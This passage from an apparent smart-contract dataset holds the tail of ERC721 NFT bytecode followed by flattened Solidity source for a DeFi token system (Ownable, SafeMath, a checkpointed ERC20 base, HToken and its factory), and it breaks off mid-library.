cd60e51b815260206004820152601c60248201527f6d6178204e4654207065722061646472657373206578636565646564000000006044820152606401610899565b505b81600e546113ca9190612825565b34101561140e5760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b6044820152606401610899565b60015b828111610b7b5733600090815260146020526040812080549161143383612884565b9091555061144c905033611447838561289f565b611b8e565b8061145681612884565b915050611411565b610da5338383611ba8565b600a546001600160a01b031633146114935760405162461bcd60e51b81526004016108999061274e565b6012805461ff001916610100179055565b6114ae338361189a565b6114ca5760405162461bcd60e51b8152600401610899906127be565b6114d684848484611c77565b50505050565b601381815481106114ec57600080fd5b6000918252602090912001546001600160a01b0316905081565b600c80546109e990612783565b6000818152600260205260409020546060906001600160a01b03166115925760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610899565b601254610100900460ff1661163357600d80546115ae90612783565b80601f01602080910402602001604051908101604052809291908181526020018280546115da90612783565b80156116275780601f106115fc57610100808354040283529160200191611627565b820191906000526020600020905b81548152906001019060200180831161160a57829003601f168201915b50505050509050919050565b600061163d611caa565b9050600081511161165d576040518060200160405280600081525061168b565b8061166784611cb9565b600c60405160200161167b939291906128b7565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146116bc5760405162461bcd60e51b81526004016108999061274e565b601155565b600a546001600160a01b031633146116eb5760405162461bcd60e51b81526004016108999061274e565b8051610da590600c90602084019061227e565b600a546001600160a01b031633146117285760405162461bcd60e51b81526004016108999061274e565b8051610da590600d90602084019061227e565b600a546001600160a01b031633146117655760405162461bcd60e51b81526004016108999061274e565b6001600160a01b0381166117ca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610899565b6117d381611b3c565b50565b3b151590565b60006001600160e01b031982166380ac58cd60e01b148061180d57506001600160e01b03198216635b5e139f60e01b145b8061086957506301ffc9a760e01b6001600160e01b0319831614610869565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061186182610ff1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166119135760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610899565b600061191e83610ff1565b9050806001600160a01b0316846001600160a01b031614806119595750836001600160a01b031661194e84610947565b6001600160a01b0316145b8061198957506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166119a482610ff1565b6001600160a01b031614611a0c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610899565b6001600160a01b038216611a6e5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610899565b611a79838383611db7565b611a8460008261182c565b6001600160a01b0383166000908152600360205260408120805460019290611aad90849061297b565b90915550506001600160a01b0382166000908152600360205260408120805460019290611adb90849061289f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610da5828260405180602001604052806000815250611e6f565b816001600160a01b0316836001600160a01b03161415611c0a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610899565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611c82848484611991565b611c8e84848484611ea2565b6114d65760405162461bcd60e51b815260040161089990612992565b6060600b80546108c490612783565b606081611cdd5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611d075780611cf181612884565b9150611d009050600a8361285a565b9150611ce1565b60008167ffffffffffffffff811115611d2257611d22612496565b6040519080825280601f01601f191660200182016040528015611d4c576020820181803683370190505b5090505b841561198957611d6160018361297b565b9150611d6e600a866129e4565b611d7990603061289f565b60f81b818381518110611d8e57611d8e61286e565b60200101906001600160f81b031916908160001a905350611db0600a8661285a565b9450611d50565b6001600160a01b038316611e1257611e0d81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611e35565b816001600160a01b0316836001600160a01b031614611e3557611e358382611fa0565b6001600160a01b038216611e4c57610b7b8161203d565b826001600160a01b0316826001600160a01b031614610b7b57610b7b82826120ec565b611e798383612130565b611e866000848484611ea2565b610b7b5760405162461bcd60e51b815260040161089990612992565b60006001600160a01b0384163b15611f9557604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611ee69033908990889088906004016129f8565b6020604051808303816000875af1925050508015611f21575060408051601f3d908101601f19168201909252611f1e91810190612a35565b60015b611f7b573d808015611f4f576040519150601f19603f3d011682016040523d82523d6000602084013e611f54565b606091505b508051611f735760405162461bcd60e51b815260040161089990612992565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611989565b506001949350505050565b60006001611fad84611075565b611fb7919061297b565b60008381526007602052604090205490915080821461200a576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061204f9060019061297b565b600083815260096020526040812054600880549394509092849081106120775761207761286e565b9060005260206000200154905080600883815481106120985761209861286e565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806120d0576120d0612a52565b6001900381819060005260206000200160009055905550505050565b60006120f783611075565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166121865760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610899565b6000818152600260205260409020546001600160a01b0316156121eb5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610899565b6121f760008383611db7565b6001600160a01b038216600090815260036020526040812080546001929061222090849061289f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461228a90612783565b90600052602060002090601f0160209004810192826122ac57600085556122f2565b82601f106122c557805160ff19168380011785556122f2565b828001600101855582156122f2579182015b828111156122f25782518255916020019190600101906122d7565b506122fe929150612302565b5090565b5b808211156122fe5760008155600101612303565b6001600160e01b0319811681146117d357600080fd5b60006020828403121561233f57600080fd5b813561168b81612317565b8035801515811461235a57600080fd5b919050565b60006020828403121561237157600080fd5b61168b8261234a565b60005b8381101561239557818101518382015260200161237d565b838111156114d65750506000910152565b600081518084526123be81602086016020860161237a565b601f01601f19169290920160200192915050565b60208152600061168b60208301846123a6565b6000602082840312156123f757600080fd5b5035919050565b80356001600160a01b038116811461235a57600080fd5b6000806040838503121561242857600080fd5b612431836123fe565b946020939093013593505050565b60006020828403121561245157600080fd5b61168b826123fe565b60008060006060848603121561246f57600080fd5b612478846123fe565b9250612486602085016123fe565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156124d5576124d5612496565b604052919050565b600080604083850312156124f057600080fd5b823567ffffffffffffffff8082111561250857600080fd5b818501915085601f83011261251c57600080fd5b813560208282111561253057612530612496565b8160051b92506125418184016124ac565b828152928401810192818101908985111561255b57600080fd5b948201945b8486101561258057612571866123fe565b82529482019490820190612560565b9997909101359750505050505050565b6020808252825182820181905260009190848201906040850190845b818110156125c8578351835292840192918401916001016125ac565b50909695505050505050565b600067ffffffffffffffff8311156125ee576125ee612496565b612601601f8401601f19166020016124ac565b905082815283838301111561261557600080fd5b828260208301376000602084830101529392505050565b60006020828403121561263e57600080fd5b813567ffffffffffffffff81111561265557600080fd5b8201601f8101841361266657600080fd5b611989848235602084016125d4565b6000806040838503121561268857600080fd5b612691836123fe565b915061269f6020840161234a565b90509250929050565b600080600080608085870312156126be57600080fd5b6126c7856123fe565b93506126d5602086016123fe565b925060408501359150606085013567ffffffffffffffff8111156126f857600080fd5b8501601f8101871361270957600080fd5b612718878235602084016125d4565b91505092959194509250565b6000806040838503121561273757600080fd5b612740836123fe565b915061269f602084016123fe565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061279757607f821691505b602082108114156127b857634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561283f5761283f61280f565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261286957612869612844565b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156128985761289861280f565b5060010190565b600082198211156128b2576128b261280f565b500190565b6000845160206128ca8285838a0161237a565b8551918401916128dd8184848a0161237a565b8554920191600090600181811c90808316806128fa57607f831692505b85831081141561291857634e487b7160e01b85526022600452602485fd5b80801561292c576001811461293d5761296a565b60ff1985168852838801955061296a565b60008b81526020902060005b858110156129625781548a820152908401908801612949565b505083880195505b50939b9a5050505050505050505050565b60008282101561298d5761298d61280f565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6000826129f3576129f3612844565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612a2b908301846123a6565b9695505050505050565b600060208284031215612a4757600080fd5b815161168b81612317565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220b3fd59235a9007dceca5cbc49de0b6a3fc65bda25fff231555d3f5ef97f03f8d64736f6c634300080b0033
[ 5, 12 ]
0xf2b5c22cc5e777c92533f3afc197d3e8b8ea4d50
// File: contracts/utils/Ownable.sol pragma solidity >=0.4.21 <0.6.0; contract Ownable { address private _contract_owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; _contract_owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _contract_owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_contract_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_contract_owner, newOwner); _contract_owner = newOwner; } } // File: contracts/utils/SafeMath.sol pragma solidity >=0.4.21 <0.6.0; library SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a, "add"); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a, "sub"); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b, "mul"); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0, "div"); c = a / b; } } // File: contracts/utils/Address.sol pragma solidity >=0.4.21 <0.6.0; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: contracts/erc20/IERC20.sol pragma solidity >=0.4.21 <0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/erc20/SafeERC20.sol pragma solidity >=0.4.21 <0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeAdd(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeSub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/utils/AddressArray.sol pragma solidity >=0.4.21 <0.6.0; library AddressArray{ function exists(address[] memory self, address addr) public pure returns(bool){ for (uint i = 0; i< self.length;i++){ if (self[i]==addr){ return true; } } return false; } function index_of(address[] memory self, address addr) public pure returns(uint){ for (uint i = 0; i< self.length;i++){ if (self[i]==addr){ return i; } } require(false, "AddressArray:index_of, not exist"); } function remove(address[] storage self, address addr) public returns(bool){ uint index = index_of(self, addr); self[index] = self[self.length - 1]; delete self[self.length-1]; self.length--; return true; } } // File: contracts/erc20/ERC20Impl.sol pragma solidity >=0.4.21 <0.6.0; contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes memory _data ) public; } contract TransferEventCallBack{ function onTransfer(address _from, address _to, uint256 _amount) public; } contract ERC20Base { string public name; //The Token's name: e.g. GTToken uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "GTT_0.1"; //An arbitrary versioning scheme using AddressArray for address[]; address[] public transferListeners; //////////////// // Events //////////////// event Transfer(address indexed _from, address indexed _to, uint256 _amount); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); event NewTransferListener(address _addr); event RemoveTransferListener(address _addr); /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned ERC20Base public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; //////////////// // Constructor //////////////// /// @notice Constructor to create a ERC20Base /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred constructor( ERC20Base _parentToken, uint _parentSnapShotBlock, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, bool _transfersEnabled ) public { name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != address(0)) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false uint256 previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); onTransferDone(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes memory _extraData) public returns (bool success) { require(approve(address(_spender), _amount)); _spender.receiveApproval( msg.sender, _amount, address(this), _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public view returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public view returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != address(0)) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function _generateTokens(address _owner, uint _amount) internal returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(address(0), _owner, _amount); onTransferDone(address(0), _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function _destroyTokens(address _owner, uint _amount) internal returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, address(0), _amount); onTransferDone(_owner, address(0), _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function _enableTransfers(bool _transfersEnabled) internal { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } function onTransferDone(address _from, address _to, uint256 _amount) internal { for(uint i = 0; i < transferListeners.length; i++){ TransferEventCallBack t = TransferEventCallBack(transferListeners[i]); t.onTransfer(_from, _to, _amount); } } function _addTransferListener(address _addr) internal { transferListeners.push(_addr); emit NewTransferListener(_addr); } function _removeTransferListener(address _addr) internal{ transferListeners.remove(_addr); emit RemoveTransferListener(_addr); } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } //function () external payable { //require(false, "cannot transfer ether to this contract"); //} } // File: contracts/TrustListTools.sol pragma solidity >=0.4.21 <0.6.0; contract TrustListInterface{ function is_trusted(address addr) public returns(bool); } contract TrustListTools is Ownable{ TrustListInterface public trustlist; modifier is_trusted(address addr){ require(trustlist != TrustListInterface(0x0), "trustlist is 0x0"); require(trustlist.is_trusted(addr), "not a trusted issuer"); _; } event ChangeTrustList(address _old, address _new); function changeTrustList(address _addr) public onlyOwner{ address old = address(trustlist); trustlist = TrustListInterface(_addr); emit ChangeTrustList(old, _addr); } } // File: contracts/core/HToken.sol pragma solidity >=0.4.21 <0.6.0; contract HToken is ERC20Base, Ownable{ using SafeERC20 for IERC20; using SafeMath for uint256; address public target; uint256 public ratio_to_target; //uint256 public types; // 1 for in,2 for out, 3 for long term mapping (bytes32 => uint256) public extra;//record extra information of the token, including the round, type and ratio constructor(string memory _name, string memory _symbol, bool _transfersEnabled) ERC20Base(ERC20Base(address(0x0)), 0, _name, 18, _symbol, _transfersEnabled) public{} function reconstruct(string memory _name, string memory _symbol, bool _transfersEnabled) public onlyOwner{ name = _name; symbol = _symbol; transfersEnabled = _transfersEnabled; } function mint(address addr, uint256 amount) onlyOwner public{ _generateTokens(addr, amount); } function burnFrom(address addr, uint256 amount) onlyOwner public{ _destroyTokens(addr, amount); } function set_extra(bytes32 _target, uint256 _value) onlyOwner public{ extra[_target] = _value; } function set_target(address _target) onlyOwner public{ target = _target; } function addTransferListener(address _addr) public onlyOwner{ _addTransferListener(_addr); } function removeTransferListener(address _addr) public onlyOwner{ _removeTransferListener(_addr); } event HTokenSetRatioToTarget(uint256 ratio_to); function set_ratio_to_target(uint256 _ratio_to) onlyOwner public{ ratio_to_target = _ratio_to; emit HTokenSetRatioToTarget(_ratio_to); } } contract HTokenFactoryInterface{ function createHToken(string memory _name, string memory _symbol, bool _transfersEnabled) public returns(address); function destroyHToken(address addr) public; } contract HTokenFactory is HTokenFactoryInterface{ event NewHToken(address addr); event DestroyHToken(address addr); function createHToken(string memory _name, string memory _symbol, bool _transfersEnabled) public returns(address){ HToken pt = new HToken(_name, _symbol, _transfersEnabled); pt.transferOwnership(msg.sender); emit NewHToken(address(pt)); return address(pt); } function destroyHToken(address addr) public{ //TODO, we choose do nothing here emit DestroyHToken(addr); } } // File: contracts/ystream/IYieldStream.sol pragma solidity >=0.4.21 <0.6.0; contract IYieldStream{ string public name; function target_token() public view returns(address); function getVirtualPrice() public view returns(uint256); function getDecimal() public pure returns(uint256); function getPriceDecimal() public pure returns(uint256); } // File: contracts/core/HInterfaces.sol pragma solidity >=0.4.21 <0.6.0; contract HLongTermInterface{ function isRoundEnd(uint256 _period) public returns(bool); function getCurrentRound() public returns(uint256); function getRoundLength(uint256 _round) public view returns(uint256); function updatePeriodStatus() public returns(bool); } contract HTokenInterfaceGK{ function mint(address addr, uint256 amount) public; function burnFrom(address addr, uint256 amount) public; function set_ratio_to_target(uint256 _balance) public; function set_extra(bytes32 _target, uint256 _value) public; function set_target(address _target) public; mapping (bytes32 => uint256) public extra; uint256 public ratio_to_target; function transferOwnership(address addr) public; function addTransferListener(address _addr) public; function removeTransferListener(address _addr) public; } contract HTokenAggregatorInterface{ function mint(address gk, uint256 round, uint256 ratio, uint256 _type, uint256 amount, address recv) public; function burn(address gk, uint256 round, uint256 ratio, uint256 _type, uint256 amount, address recv) public; function balanceOf(address gk, uint256 round, uint256 ratio, uint256 _type, address recv) public view returns(uint256); function totalSupply(address gk, uint256 round, uint256 ratio, uint256 _type) public view returns(uint256); function getRatioTo(address gk, uint256 round, uint256 ratio, uint256 _type) public view returns(uint256); function setRatioTo(address gk, uint256 round, uint256 ratio, uint256 _type, uint256 ratio_to) public; } contract HDispatcherInterface{ function getYieldStream(address _token_addr) public view returns (IYieldStream); } contract MinterInterfaceGK{ function handle_bid_ratio(address addr, uint256 amount, uint256 ratio, uint256 round) public; function handle_withdraw(address addr, uint256 amount, uint256 ratio, uint256 round) public; function handle_cancel_withdraw(address addr, uint256 amount, uint256 ratio, uint256 round) public; function loop_prepare(uint256 fix_supply, uint256 float_supply, uint256 length, uint256 start_price, uint256 end_price) public; function handle_settle_round(uint256 ratio, uint256 ratio_to, uint256 intoken_ratio, uint256 lt_amount_in_ratio, uint256 nt) public; function handle_cancel_bid(address addr, uint256 amount, uint256 ratio, uint256 round) public; } // File: contracts/core/HGateKeeperParam.sol pragma solidity >=0.4.21 <0.6.0; pragma solidity >=0.4.21 <0.6.0; library HGateKeeperParam{ struct round_price_info{ uint256 start_price; uint256 end_price; } //the start/end price of target token in a round. struct settle_round_param_info{ uint256 _round; HDispatcherInterface dispatcher; address target_token; MinterInterfaceGK minter; HLongTermInterface 